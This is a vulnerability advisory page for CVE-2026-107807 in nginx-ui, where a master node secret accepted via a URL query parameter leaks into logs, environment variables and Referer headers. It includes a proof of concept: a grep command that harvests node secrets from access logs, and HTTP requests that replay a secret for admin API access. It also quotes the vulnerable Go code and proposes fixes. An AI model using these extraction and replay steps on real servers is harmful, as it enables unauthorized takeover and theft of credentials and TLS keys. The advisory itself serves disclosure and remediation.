Loading...
Skip to main content

CVE-2026-107807 — Vulnerability in github.com/0xJacky/Nginx-UI —...

HIGH

Nginx UI: Node Secret Credential Exposure via URL Query Parameter

Published October 9, 2026Updated October 9, 2026Source: osv

Summary

## 1. Vulnerability Summary nginx-ui's `Node.Secret` is a master credential that bypasses all JWT/password authentication for the entire API. The application accepts this credential via a **URL query parameter** (`?node_secret=`), causing it to be recorded in plaintext in HTTP access logs, reverse proxy logs, browser history, and HTTP `Referer` headers. Additionally, the official cluster configuration format embeds node secrets directly into URL query strings stored in `app.ini` and environment variables, creating a systemic credential exposure pattern across the entire cluster deployment model. An attacker who gains read access to any log aggregation system, proxy log, or configuration file can extract the node secret and obtain full, persistent, unauthenticated administrative access to the nginx-ui API — including reading TLS private keys, modifying nginx configurations, and (when chained with Bug #1) achieving OS-level code execution. --- ## 2. Root Cause Analysis ### 2.1 Node Secret Accepted as URL Query Parameter The `getNodeSecret` function reads the credential from the URL query string as a fallback when the `X-Node-Secret` header is absent: [1](#3-0) This function is called in both `AuthRequired()` and `AuthRequiredWS()` middleware, meaning the query parameter bypass works for **all authenticated HTTP and WebSocket endpoints**: [2](#3-1) [3](#3-2) The same pattern is repeated in the WebSocket origin checker, which also reads `node_secret` from the URL: [4](#3-3) ### 2.2 Node Secret Is a Full Authentication Bypass The documentation explicitly states this is by design: [5](#3-4) When the secret matches, the middleware sets the request context to an admin-level init user and calls `c.Next()` — bypassing all JWT validation, session checks, and 2FA: [2](#3-1) ### 2.3 Cluster Configuration Embeds Node Secrets in URLs The official cluster configuration format, documented and used in `app.example.ini`, stores node secrets as URL query parameters: [6](#3-5) The `parseNodeUrl` function extracts the secret from the URL's query string and stores it in the database as the node's `Token` field: [7](#3-6) This means node secrets are embedded in: - `app.ini` on disk (readable by any process with filesystem access) - The `NGINX_UI_CLUSTER_NODE` environment variable (visible in `ps aux`, Docker inspect, Kubernetes pod specs, CI/CD logs) - The SQLite database `nodes` table as the `token` column in plaintext ### 2.4 Node Secret Generation Uses UUID The secret is auto-generated as a UUID v4 if not set: [8](#3-7) UUID v4 has 122 bits of entropy, which is adequate. However, the exposure surface described in this report makes entropy irrelevant — the secret is leaked through operational channels, not brute-forced. --- ## 3. Exposure Surface The following table maps each exposure vector to its source in the codebase: | Vector | How It Happens | Who Can See It | |---|---|---| | **HTTP access logs** | `GET /api/settings?node_secret=xxx` logged by nginx/caddy/apache | Log readers, SIEM operators | | **Application logs** | Gin debug mode logs full request URLs | Server operators, log aggregators | | **Browser history** | Admin uses `?node_secret=` URL directly | Anyone with browser access | | **HTTP Referer header** | Page with `?node_secret=` in URL links to external resource | Third-party servers | | **WebSocket URL logs** | `ws://host/api/ws?node_secret=xxx` logged by proxies | Proxy log readers | | **`app.ini` on disk** | Cluster node URLs contain `node_secret=` | Filesystem readers | | **Environment variables** | `NGINX_UI_CLUSTER_NODE=...&node_secret=...` | `ps aux`, Docker inspect, K8s pod specs | | **CI/CD pipeline logs** | Env vars printed during deployment | CI/CD log viewers | | **Database** | `nodes.token` column stored in plaintext SQLite | DB file readers | --- ## 4. Proof of Concept ### Scenario A: Log-Based Secret Extraction **Step 1 — Attacker gains read access to nginx access logs** (e.g., via a misconfigured log aggregator, a compromised monitoring account, or a separate vulnerability). **Step 2 — Search logs for the pattern:** ```bash grep -oP 'node_secret=[^&\s"]+' /var/log/nginx/access.log # Output: node_secret=a1b2c3d4-e5f6-7890-abcd-ef1234567890 ``` **Step 3 — Use the extracted secret for full API access:** ```http GET /api/settings HTTP/1.1 Host: target:9000 X-Node-Secret: a1b2c3d4-e5f6-7890-abcd-ef1234567890 ``` Response: Full settings JSON including `JwtSecret`, `NodeSecret`, all nginx paths, and all configured credentials. ```http GET /api/nginx/config?filepath=/etc/nginx/nginx.conf HTTP/1.1 Host: target:9000 X-Node-Secret: a1b2c3d4-e5f6-7890-abcd-ef1234567890 ``` Response: Full nginx configuration including any embedded credentials. ### Scenario B: Environment Variable Exposure in Docker/Kubernetes **Step 1 — Attacker reads a Kubernetes pod spec or Docker Compose file:** ```yaml environment: - NGINX_UI_CLUSTER_NODE=http://10.0.0.1:9000?name=node1&node_secret=my-node-secret&enabled=true ``` **Step 2 — Extract the secret from the URL query string.** **Step 3 — Authenticate to the target node:** ```http POST /api/nginx/test HTTP/1.1 Host: 10.0.0.1:9000 X-Node-Secret: my-node-secret ``` The attacker now has full admin access to the cluster node. ### Scenario C: Referer Header Leak to Third-Party **Step 1 — Admin navigates to a page with `?node_secret=` in the URL.** **Step 2 — That page contains a resource (image, script, analytics) from a third-party domain.** **Step 3 — Browser sends:** ```http GET /analytics.js HTTP/1.1 Host: analytics.third-party.com Referer: https://nginx-ui.internal/api/settings?node_secret=a1b2c3d4-... ``` The third-party server receives the node secret in the `Referer` header. --- ## 5. Impact - **Confidentiality:** Full read access to all nginx configurations, TLS private keys, ACME account credentials, database contents, and all settings stored in `app.ini`. - **Integrity:** Full write access to all nginx configurations across all cluster nodes. An attacker can deploy malicious nginx configs, disable TLS, or redirect traffic. - **Availability:** An attacker can reload or restart nginx with a broken configuration, causing a denial of service. - **Persistence:** The node secret does not expire and has no revocation mechanism. Once leaked, it provides permanent access until manually rotated. - **Cluster-wide blast radius:** A single leaked node secret from one cluster member's logs can be used to authenticate to any other node that shares the same secret. --- ## 6. Affected Versions All versions of nginx-ui where `getNodeSecret` reads from `c.Query("node_secret")`. Present in the current `dev` branch. The cluster URL format with embedded `node_secret` has been present since `v2.0.0-beta.23`. --- ## 7. Recommended Fixes **Fix 1 (Primary) — Remove query parameter support for `node_secret`:** ```go // internal/middleware/middleware.go func getNodeSecret(c *gin.Context) (secret string) { // Only accept via header, never via query parameter return c.GetHeader("X-Node-Secret") } ``` Apply the same change to `isTrustedNodeRequest` in `websocket_origin.go`. **Fix 2 — Redesign cluster node configuration format:** The cluster node URL format must not embed secrets in query parameters. Use a separate configuration key: ```ini [cluster] Node = http://10.0.0.1:9000?name=node1&enabled=true NodeKey1 = <secret-for-node1> ``` Or store secrets in a separate secrets file with restricted permissions. **Fix 3 — Encrypt node tokens at rest:** The `nodes.token` column in the SQLite database stores secrets in plaintext. Encrypt using the `CryptoSettings.Secret` key before storage. **Fix 4 — Add secret rotation support:** Provide an API endpoint to rotate the `Node.Secret` and invalidate all existing sessions authenticated via the old secret. --- ## 8. Timeline | Date | Event | |---|---| | 2026-04-21 | Vulnerability identified via source code review | | — | Vendor notification (pending) | | — | CVE assignment (pending) | ### Citations **File:** internal/middleware/middleware.go (L73-80) ```go // getNodeSecret from header or query func getNodeSecret(c *gin.Context) (secret string) { if secret = c.GetHeader("X-Node-Secret"); secret != "" { return secret } return c.Query("node_secret") } ``` **File:** internal/middleware/middleware.go (L96-103) ```go // Check node secret authentication if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret { initUser := user.GetInitUser(c) c.Set("Secret", nodeSecret) c.Set("user", initUser) c.Next() return } ``` **File:** internal/middleware/middleware.go (L152-158) ```go if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret { initUser := user.GetInitUser(c) c.Set("Secret", nodeSecret) c.Set("user", initUser) c.Next() return } ``` **File:** internal/middleware/websocket_origin.go (L39-46) ```go func isTrustedNodeRequest(r *http.Request) bool { secret := strings.TrimSpace(r.Header.Get("X-Node-Secret")) if secret == "" { secret = strings.TrimSpace(r.URL.Query().Get("node_secret")) } return secret != "" && secret == settings.NodeSettings.Secret } ``` **File:** docs/guide/config-server.md (L109-111) ```markdown This secret is used to authenticate the communication between the Nginx UI servers. Also, you can use this secret to access the Nginx UI API without a password. ``` **File:** app.example.ini (L45-48) ```text [cluster] Node = http://10.0.0.1:9000?name=node1&node_secret=my-node-secret&enabled=true Node = http://10.0.0.2:9000?name=node2&node_secret=my-node-secret&enabled=true Node = http://10.0.0.3?name=node3&node_secret=my-node-secret&enabled=true ``` **File:** internal/cluster/cluster.go (L55-73) ```go func parseNodeUrl(nodeUrl string) (node *model.Node, err error) { u, err := url.Parse(nodeUrl) if err != nil { return } var sb strings.Builder sb.WriteString(u.Scheme) sb.WriteString("://") sb.WriteString(u.Host) sb.WriteString(u.Path) node = &model.Node{ Name: u.Query().Get("name"), URL: sb.String(), Token: u.Query().Get("node_secret"), Enabled: u.Query().Get("enabled") == "true", } return ``` **File:** internal/kernel/boot.go (L132-144) ```go func InitNodeSecret() { if settings.NodeSettings.Secret == "" { logger.Info("Secret is empty, generating...") uuidStr := uuid.New().String() err := settings.Update(func() { settings.NodeSettings.Secret = uuidStr }) if err != nil { logger.Error("Error save settings", err) } logger.Info("Generated Secret: ", uuidStr) } } ```

Advisory Timeline

  • First published October 9, 2026 (3 days ago).
  • Last revised October 9, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/0xJacky/Nginx-UI to 1.9.10-0.20260728074433-a3999bd78a3b or later
go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20260728074433-a3999bd78a3b

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/0xJacky/Nginx-UI
go
All versions1.9.10-0.20260728074433-a3999bd78a3b

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-107807?
Nginx UI: Node Secret Credential Exposure via URL Query Parameter This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-107807?
CVE-2026-107807 affects github.com/0xJacky/Nginx-UI. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-107807 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-pvgv-gcp7-v38g

Related CVEs

  • CVE-2026-42238
    CRITICAL

    Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore

  • CVE-2026-33026
    CRITICAL

    nginx-ui Backup Restore Allows Tampering with Encrypted Backups

  • CVE-2026-27944
    CRITICAL

    Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure

  • CVE-2026-33032
    CRITICAL

    nginx-ui's Unauthenticated MCP Endpoint Allows Remote Nginx Takeover

  • CVE-2026-107811
    HIGH

    0xJacky/nginx-ui /api/nodes Leaks Cluster Node Tokens and Allows Cross-Node Impersonation as initUser

  • CVE-2026-107809
    HIGH

    Nginx-UI AuthRequired token cookie fallback enables CSRF against management APIs

  • CVE-2026-33030
    HIGH

    nginx-UI has Unencrypted Storage of DNS API Tokens and ACME Private Keys

  • CVE-2026-107813
    HIGH

    Nginx UI: Incomplete fix of CVE-2026-84315 - the api/cluster router was not - wrapped in RequireSecureSession, so those sensitive mutations run without OTP step-up

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies